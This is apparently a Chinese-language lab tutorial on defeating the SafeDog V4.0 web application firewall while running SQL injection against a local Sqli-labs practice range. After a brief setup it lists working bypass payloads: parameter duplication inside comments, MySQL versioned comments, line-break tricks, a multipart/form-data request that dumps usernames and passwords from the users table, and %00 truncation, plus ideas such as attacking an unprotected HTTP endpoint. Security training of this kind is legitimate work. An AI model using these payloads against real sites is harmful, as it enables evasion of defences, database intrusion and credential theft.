靶场:Sqli-labs WAF:安全狗V4.0(最新版) 测试环境:Apache/2.4.23+PHP5.2.17+Mysql5.5.38
1.未开启安全狗时,测试是靶场环境是否存在注入点
http://192.168.30.128/sql/Less-2/?id=1%20and%201=1
,回显正常
http://192.168.30.128/sql/Less-2/?id=1%20and%201=2
,可以看到and 1=2回显异常,说明此处存在SQL注入
2.开启网站安全狗
使用http://192.168.30.128/sql/Less-2/?id=1%20and%201=1
这时候在对网站进行测试时发现已经被安全狗给拦截了
查看安全狗SQL防注入规则,发现and ,or,基于时间,order by,联合查询等注入进行了关键词过滤,实际环境中可以自己手动测试或者使用Fuzz大法,去发现哪些语句可以绕过WAF,这里就不做演示了。
上面说了一堆废话,现在开始真正的干货了,下面会讲到绕所有WAF的大概思路 。
1.输入order by 2#页面被安全狗拦截。

2.构造一个垃圾参数a=ABDAS*AABBBuname=admin%27+order+by+2%23&passwd=123&submit=Submit,页面返回正常没有被狗拦截。

id=1/**&id=-1%20union%20select%201,2,3%23*/(推荐/**里面任何敏感参数都可以秒杀绕过安全狗*/)
id=-1%20union%20/*!44509select*/%201,2,3%23
id=1%20union%20all%23%0a%20select%201,2,3%23
POST请求可以转成multipart/form-data文件上传格式请求数据包进行绕过。
Content-Type:multipart/form-data;boundary=--------1505790160
Content-Length:172
--------1505790160
Content-Disposition: name="id"
1' union
select
null,
concat_ws(char(32,58,32),user,password)
from users #
--------1505790160--
1.WAF规则设定时只针对了POST请求进行过滤,忽略了GET请求的有害参数,此时我们只需要以GET请求,进行测试即可。
2.HTTP和HTTPS同时开放服务时,网站没有做HTTP到HTTPS强制跳转,导致HTTPS 有WAF防护,HTTP没有防护,直接访问HTTP站点进行绕过。
3.有一些WAF遇到%00截断,只能获取到前面的参数,无法获取到后面的有些参数。比如:id=1%00and 1=2 union select 1,2,column_name from information_schema.columns